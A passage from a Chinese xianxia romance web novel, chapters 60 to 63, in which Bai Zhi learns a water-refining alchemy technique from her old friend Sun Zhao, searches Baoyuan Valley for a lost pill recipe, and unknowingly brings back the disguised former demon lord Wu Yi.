白芷几乎可以肯定她就是孙昭,但故人已别百年,许多疑点相继冒出,她也做好了此人说不定是孙昭后人的准备。
满腹疑惑呼之欲出,就等着这一句回答解决。
她露出惊讶的神色:“我叫孙昭。”
白芷心一凛,下意识抬头朝她看去。
60. 第 60 章
如此便确定,两百年中,孙昭勤奋修炼境界突破,已经得道延年。
见到熟悉的人,白芷一恍神。
孙昭捕捉到白芷细微的动作,继续问道:“白师妹,你可是认识我?”
可惜故友相见,她却无法相认,只能收敛起自己的情绪。
只因当初天璇宗灭门惨案后,天香早就成为了修盟通缉令上的名字,她绝不可能将自己是天香的事情交代出去。
她微不可查的叹了一口气。
白芷随便找了个借口解释:“我家祖上曾是云天真人挚友,距祖父所说,真人当年曾对祖上提起过弥恒派有一位丹术天才少女,生的温婉明媚,发绾沧浪簪,我认出了那簪子。没想到,师姐百年容颜未老。
她顿了顿,才继续道:“恭喜师姐得道!”
孙昭怔怔,下意识摸了摸发顶,这才想起这只沧浪发簪。
沧浪石的寒气渗透指尖,这是她身边唯一一件师父的东西了。属于两百年前弥恒派的记忆忽然钻进脑海,她的眸子软下去几分。
但嵩山道长早与云天真人一同葬身天璇宗主峰,嵩山死后,弥恒派也星火渐弱,只过了两年就匿迹于人界。
孙昭一边收回手,目光下垂,露出一个自嘲的笑,眼前晚辈尊称她丹术天才,她却早已放弃丹术,改投天剑门了。
孙昭摇摇头苦笑:“惭愧,我虽得道,却哪里算的上丹术天才,我已经两百年未修行丹术了。当年师父他……到死都在助天璇宗抵抗魔修外敌,只可惜……”
她忽然目光沉沉,一字一句道:“只可惜丹术难堪重任,终究无力回天。想手刃仇敌,只有拿起武器。所以我拜入天剑门,修行剑法已至养神,延长了寿命,才容貌依旧。”
白芷这才明白她眼中为何带锋芒,但她却知道凡人弱小,不愿孙昭在这件事上枉费工夫。
“可是碧岚宫高手如云。”她劝说道:“你修至养神,却连碧岚宫最低级的弟子都打不过,即便如此也要继续?”
孙昭背过身去,动作没有半分犹豫。
她声音忽然提高,却扯了扯嘴角:“嗯,我要继续,我的道侣大典被毁,师父惨死天璇峰上,《阴水录》被魔头骗取。有怨报怨,有仇报仇。我早说过,哪怕赔上性命,也要报仇!”
白芷见她背影也坚韧几分,没再说话。眼见叙旧结束,她也该回天璇宗继续钻研丹术了,好在蓬山大会夺魁。
半晌,孙昭又转过身来,微笑道:“但有幸遇见有人想重建天璇,我十分欣喜。白师妹,如今世间尚存丹术所剩无几,但《阴水录》还牢牢刻在我的脑海里,希望对你有所帮助。”
白芷惊讶的看向她,正预备离开报名处,步子却再也迈不出去。
“孙师姐,那可是未传世的绝学。”
《阴水录》孤本早在天璇宗大殿上被孙昭亲手毁去,弥恒派也已经消失,如今知晓这门水炼术的寥寥无几。
孙昭温言道:“绝学又如何,丹术落寞,好不容易见到一位愿意复兴天璇宗的晚辈,我自然要倾囊相助。”
当年因她本想独自离开,为照顾受伤的孙昭留下。
她招惹来余信导致天璇灭门,如今重建宗门,却遇到孙昭相助,白芷感叹命中注定,因果相缠,竟不知该说什么。
孙昭伸手将她轻轻一托,挽留住她:“你不远万里来天剑门,舟车劳顿,这几日便在峰上住下,我教你《阴水录》,待学成回宗不迟。”
白芷不再推脱,微微一笑点头:“好。”
一晃她在天璇宗山峰住下已过一周。
白芷一边向孙昭学习《阴水录》,一边也借用天剑门丹房修炼丹术。
起初,她并不想呆这么久。直到那天孙昭向她展示水炼术。
孙昭随手舀起一瓢溪水,反手便泼进炉子,白芷几乎是大惊失色的上前阻止。
结果,清水不但没将炉火扑灭,在她纯熟的灵力调控下反倒将丹芯包裹起来,烈火被一层温水隔绝,芯内草药受热均匀缓慢,药力充分发挥。
药草渐渐被温水隔绝的火力融化成一股浆液,但始终因水膜限制而成形不散。
水中竟然形成一股旋转气流,丹药在水膜包裹之中灵活翻转,不曾停下。
那层清水被烈火烧的越来越薄,却源源不断,始终不曾破洞,直到最后全部清水被烧灼干净,那枚丹药也完整的出现在丹砂之中。
孙昭手腕一翻,那枚丹药受控飞至她掌中,色正生香,至少是无暇上品。
白芷看呆了,水炼之术竟如此精妙!
她感叹仙界也没有这等精妙丹术,吃惊之中开口:“请孙师姐教我!”
孙昭却轻笑一声,瞧着丹药:“我已经两百年没有使用水炼术,以前至少能炼出上上品。”
说完,她随手一挥,变幻出一口大水缸。
“来,我们先从控水术学起吧。”
白芷又惊又喜,终于下定决心跟着她好好学,点点头,上前便捏决御水。
这么一学,就过去了一周。
她一边继续在天剑门钻研在天璇宗上没能炼成的那副固培丹,一边学习《阴水录》。
只可惜《阴水录》都学的差不多了,固培丹进展依旧为零。她尝试过多种方法,依旧只能在本子上记下又一种失败配方。
又一次失败,炉内冒出滚滚黑烟。
她住在天剑门,炼制的草药也从宗门领取,这些天她一个人领了别人双倍草药,白芷不禁有些对不起孙昭。
为何她如此执着这幅丹药?
因为固培丹能极大改善弟子的真气防御,一颗下去就能抵挡剑修弟子全力一击。
若无此丹,丹修弟子刚上台就会被打伤退场,所以,此丹对天璇宗取胜蓬山大会起到至关重要的决定性作用。
其实这幅丹药是云天真人的成名之作,本是轻易炼制的东西,现在整个天璇宗都被烧的一干二净,上哪去找遗失配方?
想起云天真人,她就想到另一个人......
白芷虽然心一紧,略有感触。却没有多余动作,依旧一下一下清扫着丹砂。
无奕曾经是云
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天真人弟子,当然知道固培丹炼制方法,但她也不知道他的去向,况且就算知道,自己也不可能去寻他。
半晌后,她扫干净丹砂,再一次将配方稍作调整,送入炉中。
她正将所有心思放在丹炉中,全然没有注意一双温暖的手在她腰间游移,忽的一陷。
白芷愣了愣,不用回头就知道来人是谁。
她回头,一双艳丽凤眸近在咫尺。他见她发呆,笑意更深。
白芷没来得及回神拍开他的手,但略微挣扎一下:“你怎么来了?”
万法注意到她的动作,眼神微微一变,垂着睫毛,在她腰间的手已经渐渐松开。
他凤眸弯弯,复又笑起:“你不是托我查固培丹的配方吗?”
白芷这才想起,自己在人界怎么都找不到固培丹配方,思索或许仙界神通广大,能找到有关这幅丹药如何炼制的蛛丝马迹。
她便求万法去仙界找寻有关固培丹的记载,白芷惊喜道:“是有进展了吗?”
万法见她神色,只能缓缓摇了摇头:“仙族所有丹术记载里都没有关于固培丹的部分。”
果然,但这个结果虽在意料之中,白芷仍是沮丧的低下头去。什么方法都行不通,这幅丹药还能炼成吗?
白芷什么也没说,转身继续向丹炉中放置草药。
寻常时候有人敢这样对他,他早就发作,但他对她似乎有无限耐心。
万法好脾气的凑过去,含笑道:“观尘,你已是仙体,境界高超,区区蓬山大会担忧什么?你只要略施仙法,就是十个天剑门弟子也打不过你。”
白芷推开他,神色有些落寞:“可我想用丹术取胜,若是用仙术赢下大会,又怎么算重建天璇宗。”
不知何时,她已经从单纯想解除因果,到如今是真心想复兴天璇丹术了。
万法轻抚她发丝,长睫盖住眼中情绪:“其实,只要解除因果就好,这般上心,我怕你留恋人世不肯回去......”
白芷不语,只是看着丹炉出神。
过了一会,万法又走上来,一双眼直直看着她。
微笑道:“无妨,你想在哪里就在哪里,若是你不愿再回去,我便陪着你呆在天璇宗,等我做完手中的事情,以后就每天陪你研究丹术,给你铺床叠被,煮饭烧水。你想呆多久,就呆多久。”
万法轻轻抚摸白芷脸颊:“我在这里,也没人敢动天璇宗。”
为了阿泽他连三界都能颠覆,只是陪她在天璇宗算的了什么。等她彻底离不开自己,再向她坦白一切,她就会顺理成章的以阿泽的身份接受自己。
白芷感动的望着他,眼中竟生出几分温柔:“万法......谢谢你。”
她忽然觉得万法尊首除了偶尔难以捉摸外,其实对自己很好,只可惜,她对他只有感激之情......
白芷不明白他为什么对自己这么好,她有点恍惚。
万法则双眸柔若春水,带着绵绵情意。
四目相对,他微微一笑,轻声道:“我会永远陪着你。”
61. 第 61 章
万法走后,她知道固培丹研究毫无突破,如果世间还有一个人可以帮她,就只能是孙昭了。
天剑门的日子平静无波,她却放松不起来,固培丹的配方还没有研破,眼看再过两周就要举办蓬山大会。
次日孙昭来寻她继续教学水炼之术,白芷顺势将疑惑说出。
她眼看丹炉中的草药无力凝结,想必这一趟又失败了,白芷叹气:“孙师姐,有一味丹药我无论如何试不出炼制配方,想问一问你有没有头绪。”
孙昭早见她平常自己捣鼓着什么,并没有多问,她必定是在炼制丹药,为蓬山大会做准备的。
即便透支普通弟子数月的灵草配给,她也没有责怪白芷,只希望她好好复兴天璇宗,当做弥补自己对丹术在人界落寞的遗憾。
但见她苦恼数日,似乎未有进展,终于愿意开口问自己,孙昭也十分好奇是什么丹药这么难炼制。
她意料之中的微笑:“你但说无妨。”
白芷叹了口气说:“固培丹。”
孙昭僵住,在脑海中搜寻,片刻后无奈回道:“我也没有办法,这是天璇宗的独门传学。”
当初她虽然与游奕陵定亲道侣,却从未学到过天璇宗的秘传丹术,不禁感叹可惜,这些秘术全部随着天璇宗覆灭一并销声匿迹。
白芷也猜到了孙昭没有办法。
毕竟连万法尊首都没能在仙族记载中找寻到固培丹痕迹,更何况孙昭一届人修。
屋外微风吹过,气氛忽然安静,白芷在一瞬间觉得沮丧无比,难道就这样陷入死局。
孙昭复又微笑着开口:“但我知道有一个门派或许能找到固培丹配方。”
“什么?”
孙昭上前两步,看着丹炉:“抱元谷。你有所不知,两百年前,除了天璇、弥恒,抱元谷其实也是远近闻名的丹宗,只不过此派弟子崇尚闭关修行,所有人避世山谷足不出户,故修真界鲜少有人知道此宗。”
白芷怔怔看着孙昭,眼中重新燃起希望。
“抱元谷的路曲折难寻,就让我陪你一起去吧。”孙昭轻笑道。
白芷答应一声,两人便收拾好行李,临行前,天剑门的弟子嘱咐孙昭务必在两周内回来,不可耽搁蓬山大会。
孙昭应下,两人便乘剑破空而去,白芷跟着她,直飞往抱元谷。
待飞至一座山路曲折隐秘的大山面前,孙昭收起法器:“这里就是进抱元谷的山路了,前面不可再飞行,谷中弟子认为飞行法器会惊扰同门,是不礼貌的行为,我们既然有求于人,最好还是遵守谷中规矩。”
白芷点了点头,随着孙昭走进山林。
却没想到,一进山林,忽然就涌起一股迷雾,叫人看不起前路。
想必是抱元谷在途中设置了不少五行卦斗,八门奇阵,以应对不怀好意入侵的敌人。倒是苦了她俩,花费不少时辰寻找正确出路。
若是只有孙昭一人,想必会被困住。可如今白芷窥虚以上修为,怎会受这些雕虫小技束缚。
白芷召唤出一只甲壳小虫,喂它一缕仙力,那只虫子吃饱了似乎很满足,扑棱着翅膀就向正确路径飞去。
空中还留下一道荧光指引线,二人只需循迹而去。
途中还有忽然幻化出的高大甲人、异化妖兽,都被白芷一一破解。此行虽然凶险,对她却是毫无压力。
孙昭忍不住感叹:“噗嗤,白师妹,没想到传闻是真的。早就听说天璇宗掌门境界高深莫测,但是丹术却只算个半吊子。”
白芷正收起法术将甲人残躯焚化,被她这么一说忽然有点不好意思。
她微低下头:“其实传闻是假的,我跟着孙师姐学丹术后,早就不是半吊子了!”
孙昭被她逗笑,却并没有继续话题,转而说起另一件事:“其实,以前天剑门从没有蓬山大会,这是我一手推进举办的赛事。”
“我竟从不知道。”白芷长眉一挑。
孙昭顺着甲壳小虫一路走着不停:“你知道,我为什么要举办蓬山大会吗?”
白芷沉默走着,她自然不知其中缘由。
孙昭自顾自讲:“因为蓬山大会聚集修真界大量门派,正是打听消息的好时机,我便是借助每年的蓬山大会,调查游奕陵下落......现在应该叫他无奕了。”
白芷愣住,抬头看向走在前方的孙昭。
孙昭也停住脚步,转过身来:“余信已死,天香那个妖女踪迹难寻,唯一最有可能找到的仇人便是无奕,可惜几月前魔界竟有消息放出,无奕辞去魔君之位消失不见,让我好找。”
孙昭像是很生气,攥紧掌心:“我如今已破至养神境,一个人虽然打不过那帮魔修,却可以借助整个天剑门的力量,天剑门统领修盟,到时候谁输谁赢还犹未可知。”
白芷只觉微微眩晕,想起她并不知道自己真实身份,这才按捺下思绪。
她望着孙昭,半晌才沉声道:“所以你举办蓬山大会,是为了复仇?”
孙昭又软下来,像是卸去伪装:“很难以置信吧?我引导宗门举办蓬山大会其实是为了一己私欲。”
其实孙昭自己也不知道为什么和白芷说什么多,或许这就是一见如故。
白芷神色一沉,却没有说什么,那只甲壳小虫静静飞在半空,乖巧的等着二人。
她这般执着复仇,只怕凡人之躯,最终还是惨败,白芷心中有些不忍。
孙昭又牵起白芷的手:“白师妹,我观察你一路,见你境界不俗,恐怕远胜于我。看得出来,或许你是我复仇之路的一线转机,看在我教你丹术的份上,可否答应我一件事。”
白芷看着她一双清眸,回道:“什么事?”
孙昭一手不自觉握紧剑柄,眼中又展现出那种浓烈的不甘与悔意:“若蓬山大会上我寻得无奕,还请白师妹与我一同诛敌!”
白芷看着情绪翻涌的她,脑中嗡嗡作响,甲壳小虫感受到主人的异样,停到她肩膀上。
她有些恍然,不知道自己是期待见无奕还是不愿见他。
嘴唇张开又合上,看着孙昭,竟不知如何回答。
此番对话之后,白芷没有正面回答,孙昭也知道这等重要事情,自然要好好做决定,没有逼白芷即刻回应。
甲壳小虫继续引路,两人同行更沉默,但也没什么摩擦,依旧互帮互助。
机关迷障一茬接着一茬,就在白芷感到山穷水尽时,前方出现一抹
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绿意盎然,已然行至抱元谷。
白芷给小虫喂食最后一次灵力,笑道:“去吧,你自由了。”
小虫消失在空中飞远了。
此刻外界已是盛夏时节,树丛盛长,山林茂密,谷中却四季如春,万籁俱寂,可闻花香见蝶影。
她们二人入谷,很快有弟子迎接上来。
谷中弟子都是用木枝束发,一身粗布麻衣,或种植灵药花植,或坐在丹炉前悉心研究,或正三五成群,为长一人教学小辈。
所有人自得其乐,生活朴素安逸,简直像世外桃源。
小弟子迎上来询问:“好久不见谷外客人了,请问二位修士,拜访我抱元谷是为何事?”
白芷上前行礼道:“我是天璇宗掌门白芷,想求见抱怨谷掌门人,此番冒昧入谷只为与掌门探讨一些丹术之道。”
孙昭也温婉一笑:“我是天剑门弟子孙昭,白芷是我好友,此番是我陪她前来,希望没有打扰抱怨谷诸位道友。”
那名小弟子明白过来的点点头:“你们且在这里等我。”
说完他就跑开了,不就一位挺着大肚腩,笑如弥勒佛的老者走过来为白芷、孙昭引路。
“二位来这边请。”老者将她们引到一间矮屋之中。
弟子上前给二人泡茶,谷中人好客,用的是上好的碧螺春,瓷制茶杯中可见一汪碧色,清香满屋。
白芷抬眸,开口道:“请问抱元谷掌门,可否知道一味失传丹药,固培丹的炼制方法?”
老者“嘶”的一声,认真思索片刻。
只可惜,还是摇了摇头:“哦,原来是求固培丹配方而来,有所耳闻,这是一味失传百年的强体丹药,可惜,老夫也不知道这固培丹的配方。”
他此话一出,白芷瞬间落空,不远万里也是跑空,不免垂下头,神色寂寞。
“但是。”老者又露出和蔼的笑容,“我可以帮你问问谷中长老,或许有人知道此药配方。”
寒光闪过。
孙昭挥剑砍开前路横生的荒芜野草。
白芷与孙昭一路跟着老者指引前往谷中后山,途径杂草纵生封路,让人不禁疑惑这里究竟有没有住人。
直到前方一片开阔之处,谷中草木山石堆积一旁,中央立一座简介两层小楼。
路已经带到,老者准备离开:“无名长老就在这里,你们可以向他问询。”
抱元谷弟子上下都是散漫自由,与其说像一个宗门,不如说是一群喜好丹术的修士聚集生活。
就连掌门也只是粗略知晓长老住处,不会过多打扰,于是听闻白芷想见他,便将路带到后离去。
老者走后,白芷与孙昭对视一眼。
孙昭看一眼藤蔓缠绕的木门,小声道:“无名长老是什么名字,可见他淡薄名利到名字都不想取了。这里究竟有没有活人都不一定,这种长老真的会知晓固培丹配方吗?”
白芷点头表示赞成:“不过抱元谷中上下弟子皆有避世思想,想必这位长老闭门不出,这也正常。”
据掌门所说,这位无名长老活的非常久,那想必见多识广,只要有一丝机会,她就想试一试。
“笃笃笃”她轻轻敲三下木门。
62. 第 62 章
无奕离开碧岚宫后,就决定再不管魔界事务。
或许是曾经的自己太过目中无人,他习惯了天璇宗时的独来独往,习惯了碧岚宫众带着敬畏又防备朝拜,恰如昆仑雪锋芒毕露,他也从不在乎别人感受。
坐在议事殿里的时间总显得漫长,他看着见的永远是別人微微垂下的脸。
他独自一人,或许永远会独自一人,但曾经他不是的。
碧岚宫华美,微风拂过时花海都轻轻摇摆,可惜笼罩在一片终年不散的雾瘴里,只能看到山石在瘴气中露出一个冰冷的角落。
以前碧岚宫没有这么浓的雾瘴,仙魔大战后,为防外敌入侵,他才准许宫中长老布施魔瘴,现在的碧岚宫很压抑,活像个巨大的棺材。
天香死后,总觉得缺了点什么,以前没有意识到,现在惊觉,他的一切都无人分享,喜怒哀乐只能埋藏在心里,不能叫别人知晓。
他已经是魔君,即将带领魔族攻破仙界,拥有至高无上的权力和决定他人命运的生杀大权。
竟也会萌生出这种无聊的想法吗?
在当上碧岚宫主后,他的零碎记忆就随着境界恢复一步步拼凑起来了。
自远古洪荒起,他就是前任魔君身死留下的元珠化形,这个位子一开始就是他的了。
魔族永生,回想以前的经历中,几乎没什么大变故,除了后来叛军陷害他被仙族追捕,他活下来却失了记忆,在天璇宗呆了几年。
那段时光越来越模糊,却是他漫长生命中为数不多宁静的日子。
刚认识那只花妖的时,他本以为自己会在与她解除绑定后再无交集,然后他错了。在碧岚宫后,他以为她是衍决手下卧底,他又错了。
最后他杀了她,以为自己不会废很多心思便登上魔君之位,这件事不过小插曲,但他竟然又错了。
但他既然已经统领魔族,势必要攻打仙界以稳定魔族得地位。于是他开始全心投入此事,简直日夜不分,宫众见此十分欣慰。
只有他自己知道,他只是不愿想起天香而已。
本以为他再也无法见到她,结果二人却在紫胜岛相遇,阴差阳错借浮华幻镜知晓了一切。
那一刻,他居然对魔君位子好像完全没有了兴趣,只想能上九重天再见她一面,只可惜不行,她不会原谅他,他也不会原谅自己。
遗憾的是魔族永生,他依旧会活下去,活在永远无法与她相见的世界里,直到永远。
于是,他离开了。
碧岚宫中,他又站在花海面前,默然半晌。
“宫主。”贾勉出现在他身后,“找属下有何事?”
“我以为自己是对的。”无奕淡淡道,“可好像一直在错。”
贾勉以为他是指临阵从紫胜岛退兵一事,这件事宫中早有声音,但碍于宫主之面没人敢说。
他还没想好如何回答,无奕自顾自继续说:“我到底还想要什么?”
还要什么?他还要什么呢?
贾勉怔怔看着宫主背影,无奕竟转过身来,吩咐道:“从今以后,我不再是宫主也不再是魔君,宫中大小事务交由你和赤地、千里两位长老打理,不必寻我。”
贾勉一时间呆住了,他即刻站起来:“宫主你说什么?!”
无奕只是自失一笑,他手中是一只熟悉的笛子,通体白净,上覆紫纹,他把那只送她的笛子修复了。
但他们再无相见之日,如今修复着这只笛子,也不过是留个念想罢了。
无奕徐徐整理了衣服离去,没再回头。
离开碧岚宫后,他就在人界四处游荡,碰巧误入抱元谷,觉得此地清净,便伪装成一名长老居住下来。
一晃就是好几年。
此地一直无人打扰,他偶尔命弟子送来草药修行丹术,偶尔让自己神识飞出去瞧瞧外面发生了什么大事,偶尔也会召出昆仑雪端详,但是没再提起过。
半晌后他就会收起来,他已经失了剑心,再提剑也是无用。
这样的日子百无聊赖。
直到方才,门外忽然传来“笃笃笃”的敲门声三下。
他吃了一惊,没想到自己久未出门,已经退化到这个地步,连有修士靠近也没察觉!
紧接着,无奕竟在屋内听到白芷的声音,瞬间心跳都快停止,只觉得这声音熟悉异常。
他一定是出现幻觉了,所以听到什么都像是她的声音!
隐居之后,这里已经很久没有来人。
无奕微微蹙眉,思考稍后是否和谷中掌门提一下,不要往他这里带人了。
正想着,外人已经推开木门。
白芷见这破烂木屋陈设十分简单,显得屋主清醒寡欲,但角落里丹炉内部余砂甚至还是泛红的,像是方才出过一炉,可见此人经常研究丹术。
视线再往里看去,就见窗前端坐一人。
他正手持一本闲书,桌上一杯清茶腾着袅袅雾气,显然是刚泡不久,看来除去修炼丹术,还有些闲情雅致品茗读书。
他一身素锦长袍,分明只是专心看书没顾及其他,白芷却觉得他好像是一副漠不关心的样子。
她奇怪自己为何有这个莫名的念头,他的长相不过寻常,身姿却挺拔,还有腰间别的一只玉笛看着有些熟悉。
白芷没忍住,盯着那只笛子多看了会。回过神来,见对方看着自己。
无奕不着痕迹将紫纹笛隐去。
白芷才察觉自己有些失礼,忙道歉:“无名长老好,我是天璇掌门白芷,这位是天剑门弟子孙昭,我们二人拜见抱元谷是为寻求一幅失传的丹药配方而来,询问掌门无果后,他将我们带来此地,说长老你可能知晓配方。”
孙昭没有开口,但也是略施一礼,微笑看着他,而后立于一旁。
看见进门二人,他险些没拿住书本,除去白芷,竟然还有个孙昭。
如果他没记错,孙昭在应该在一百五十年前就该寿元已尽,怎得活到现在?
再一定神,他看她身形外有一圈淡到几乎无法察觉的灵气,这才明白她已经修至养神境。
无奕心想,若不是自己提前施展一道秘术,幻化去容貌,也让他的表情难以被看清,恐怕他面上的异样早让这两位故人怀疑了。
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这里是不能再呆了,明日就和掌门说他要离开山谷出去云游。
他放下手中闲书,过了片刻,直到自己呼吸声徐缓,才看向白芷。
无奕用尽全身力气,才让自己声音平稳:“是什么配方?”
白芷走上前:“回长老,正是固培丹配方。”
无奕在脑海中尽力搜寻这幅丹方,终于想起来彼时真人似乎将此丹方传授过自己。
但他又萌生新的疑惑:“你说自己是天璇掌门,你可知固培丹是天璇宗的秘传丹术,你反倒来问我?”
白芷并没有感到生气,相反她止不住的面露欣喜,这位无名长老竟然知晓固培丹是天璇宗的秘传丹术,说不定就知道配方呢?
她满脸欢喜之色:“是这样的,晚辈并非天璇首任掌门人,长老可知晓,天璇宗早在两百年前就被碧岚宫覆灭,晚辈的祖上碰巧与已故初任掌门云天真人有些渊源,我仰慕丹宗,于是决心复兴天璇,这才将天璇宗重建至如今局面。”
无奕静静听完她的话,反而稍觉放心。
原来她装作人界修者是为了重建天璇宗,既然如此一些仙界法术想必阿芷不能随意使用,那他的身份也就不会轻易暴露。
他说不定可以和她再多呆一会。
孙昭继续替白芷解释道:“芷妹妹一心想复兴天璇宗,不远万里来天剑门报名蓬山大会,碰巧遇上与天璇宗也有段往事的我,我便所学丹术倾囊相授,只是我也不知固培丹配方,这才千里寻上抱元谷,希望能找到知晓之人。”
他这才想起天璇宗早已覆灭,他的师傅云天也早就殒身火海。
没想到固培丹竟成了绝学,仔细想想,当世除了他应该没人知晓配方了。
他甚至在想,究竟要不要将自己会固培丹配方的事说出去,不说,便可以离开此地,她应该也再找不到自己,这样不去打扰她,应该是最好的。
可是他发现自己见到阿芷的那一刻,心头涌起不可控的安宁喜悦,就像这场漫无目的追寻终于有了答案。
一股强烈的欲望从心底浮现,他不想再失去她,不想再看不见她,哪怕与她再多呆一秒钟也好。
无奕垂眉思索片刻,说道:“我确实知晓固培丹配方。”
此话一出,白芷、孙昭对视一眼,几乎一幅喜出望外的模样。
无奕缓缓道:“其实,早在旧时天璇宗还在之时,我也曾云游至无相山,与真人互相研讨丹术,后来天璇宗惨遭灭门,可叹,这些丹术也通通失传......”
他又补充:“好在我还知晓一些,但固培丹炼制方法颇为繁琐,还是让我与你们一同回宗门,慢慢相教吧。”
他说话十分认真诚恳,音调又十分舒服,最奇妙的是,白芷听着陡生熟悉感。
想不到,长老不但没有因她的无礼为难,反倒不计前嫌,愿亲自陪她回天璇宗教授秘传丹术。
白芷笑吟吟的看着他,只能充满感激的说道:“白芷多谢长老!”
孙昭也十分欢喜,想来白师妹的不懈努力终于获得了进展,她看着两人笑道:“我们明日便启程如何?”
63. 第 63 章
白芷向乌星传信自己今日便归,天一亮,几人就御剑离开山谷。
此行目的既然已达成,孙昭也该回到天剑门继续准备蓬山大会,离开山谷后,她就与白芷一行人分道而行。
不一会白芷就带着无名长老御剑飞到了无相山。
俯瞰望去,山中草木林景,砖石建筑均是以往一般模样,正值初日高林,空气清新,微风爽朗,夹带阵阵草木香,山门风凉恰如当年。
白芷见乌星不在,许是她离开后,他正在处理宗门事务繁忙。
既然已经请长老回宗门,她这个当掌门的自然要主动带着来客逛逛。
白芷落地,带着他从山道缓步一路而上。
无奕呆了半晌,本以为自己想不起天璇宗的模样了。
直到踏上宗门石阶,忽然感到心头渐渐平静许多,以前的事情也想起来些。
这里一往如常,晨光正好,广场上还聚集了许多小弟子。
丹房炉火未熄,练场木桩底下满是符纸碎片,在她的打理下,天璇宗还比以前星火更旺。
白芷招呼来一个弟子:“去,打扫好一间丹炉,预备一些基础制丹药草。”
“是。”小弟子乖乖的去了。
长老想亲自教授她固培丹炼制方法,自己当然要准备好丹房。
弟子却去而复返,继续说,“掌门,副掌门说你今日回宗,他要做药炖红烧鱼等你一起吃,命我们告诉掌门,他先去灵田里采草药了。”
另一个弟子吸吸口水:“副掌门还说,他多做点,就能分给我们吃。”
白芷扶额,远远望去,山腰花田半垦,正是宗门灵田所在。
细看有一个黑色身影穿梭其间。
她嘴角一抽:“让他别把灵田吃光就行。”
无奕原本只是想找借口和白芷多呆一会,真正回到此处,却发现自己怀念往昔的意味更浓一些。
他看着眼前光景出神。
修竹显然是有些时日没有裁剪,都长到了路道间。主峰殿前有一对丑丑的铁狮子,当年他师父云天真人说,这样才能庇佑宗门,镇住邪祟。
丹炉旁的石磨上沾染一些青草色,若是境界不到,便无法在丹炉中直接炼化药草,只能先用石盘研磨再进炉。
远处灵田中,有弟子种了些炼丹需要的草药,不时打理,否则材料只靠采买,怕是月月俸禄倒赔。
一草一木都似从前,只可惜,物是人非了。
无奕一个人默默打量了半天。
白芷走在前头,却未曾注意,只是将他带入门内,礼数很是周到,二人一路走到主峰殿前。
她介绍起来:“长老,这里就是晚辈重建的天璇宗了,一切都是按照旧时建造,长老既然知晓旧天璇的模样,不如帮我看看,建的像不像?”
无奕脚步一顿,收回了心神,白芷没看清他眼中闪过什么。
他勾起唇角,露出一抹淡淡笑意。
望着她认真道:“和以前一样。”
背景喧闹,广场上弟子来来往往,还有几人闲聊。
白芷微微一怔,不知为何,这句话她听得异常清晰。
不禁感到奇怪,这话好像带着他身上不该有的,失而复得的酸涩心情。
恍惚中,她似乎再次看到了那人,风姿卓然,正对她微微一笑,虽然时常默然不言,但神情中转瞬的温柔又让她沦陷。
但自从仙界一别,她再也没见过无奕,她恨他无情,恨他只顾自己,也恨自己没有早点看清。
记忆中的他绝不可能流露出这般神情。
眼前这位谷中长老样貌又和他完全不像,她竟然会觉得相似,实在是莫名其妙。
无奕原先只想教授完固培丹的炼制方法,等她带领天璇宗去参加蓬山大会时,他就一人独自离开。
蓬山大会在天剑门举办,届时必然会派出修盟驻守,他还是不要出现在大会引发动乱为好。
他不愿再回魔界碧岚宫,自然也不想招惹更多的麻烦。
但此刻他又有些犹豫,天璇宗的点滴涌上心头,自己明明不该记挂往事,偏偏心中五味杂陈。
白芷见他,分明目光平静地看着自己,又似乎带着无限歉意。
她忽然觉得落寞,那人的身影浮现心上,原来自己还是会感到伤感。
从初遇他的那一刻起,她的命运就操纵在无奕的手上,她陪着无奕,等待他做出选择。
不管他是天璇宗上丹术绝顶的师兄,还是碧岚宫万人之上的魔君,她都是被动的那个。
直到今天她已经恢复仙体,与前尘往事断绝,居然还会因为想起这个名字而心神不宁。
白芷有些茫然,没想到她还处在牢笼里。早知如此,她不如将以往记忆都消除干净,省的再庸人自扰。
心中烦闷,白芷想,反正她这辈子不可能再见无奕。
既然遇到肯教授她失传秘法,又这般熟悉的前辈,不如多说一些,也好过自己生闷。
半晌,白芷叹了一口气,终于开口:“长老有所不知,其实我想重建天璇,是因为和旧宗门有些关系……”
“曾经,我修行正值关键,却总是受阻,有人替我指点迷津,这才知晓我身上是有未了的因果阻碍修行,他替我指明了重建丹宗这条路,我这才......”
她一开口,便知道说错了话,她从前都是谎称祖上与前宗主有交情,方才竟然说是自己和旧天璇有些渊源!
无名长老恰好和云天真人是故交,当年灭门惨案的参与者就那几个,她又说自己为解因果而来,他岂不是能轻易猜到自己身份。
白芷思绪翻飞,忐忑对方有没有猜到些什么。
她抬头看去。
对方像是没听到她说话,良久不动,认真看着她半晌。
白芷见眼前人的脸上一丝表情也没有,似乎在想什么事情。晨光映的他眸光明亮,正与自己对视。
他平和的说:“为什么因果阻碍一定是由天璇宗造成的?”
听完她一番话,他已经知晓为什么她要从九重天上下界重建天璇。
起初见白芷时,无奕只觉得她是过腻了九重天的日子,清虚天闲来无事,留恋宗门的往事才想这么干。
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谁知她竟对自己明言是为了解除因果的阻碍以便修行。
心中有些莫名的失落,又觉得自己何必因为这种事忧虑,只要还能见到她便是好的。
他看着她,继续开口:“人界轮回自有定论,都不过是各自的命数罢了,宗门命中注定此劫,本就与你无关。且因果皆由人相缠,为什么一定是天璇宗的因果未了,而不是其他呢?”
不一定是天璇宗的因果纠缠,还能是什么?
几个字在脑中来来回回。
白芷瞪大双眼,脑中一片空白,险些觉得自己听错。
下一刻,她简直又惊又怒,甩袖出口:“住口!你不知我经历了什么,又怎知我的因果?你什么修为,那高人境界莫测,又岂会错算?”
为突破停滞不前的修为,她下界苦心孤诣重建天璇。
一晃五十年,除去万法尊首,无人知道她的真正目的。就连她自己也想不到,会将此事吐露给眼前人。
然而他的回答,却让她心中涌起股说不出的厌恶,非常讨厌,令人作呕。
他最终什么也没说,微微垂眸,依旧是十分平缓的望着她。
白芷原本已经做了准备,哪怕拿不到固培丹配方,也要和他大吵一架。
然而对视了半晌后,他眼中竟然闪过一丝微不可查的歉意。
这些年来,她为重建宗门的事宜四处奔走,却时不时向乌星询问魔界的近况。
她希望他好好坐他的魔君位子,希望他统领魔族,而她呆在清虚天,天长地久,永不相见。
可他偏偏消失了。
她忽然想到一种可能性,心里瞬间感到惊慌。
无奕寻不到踪迹,此人也恰好会炼制固培丹,过往的惨痛教训触目惊心,心中的恐惧警惕忽然达到顶点。
白芷勉强维持着镇定,后退时险些身形不稳。
他不由一把扶住她的手臂,白芷惊惶失措地立刻就要挣脱,无奕发现她显然对自己的接触十分反感。
他见她想甩开自己,心中一颤,竟有些颓然。
她说的没错,他确实不知她经历了什么,没资格。可笑他自以为放下,却还是忍不住想见她。
他放开她。
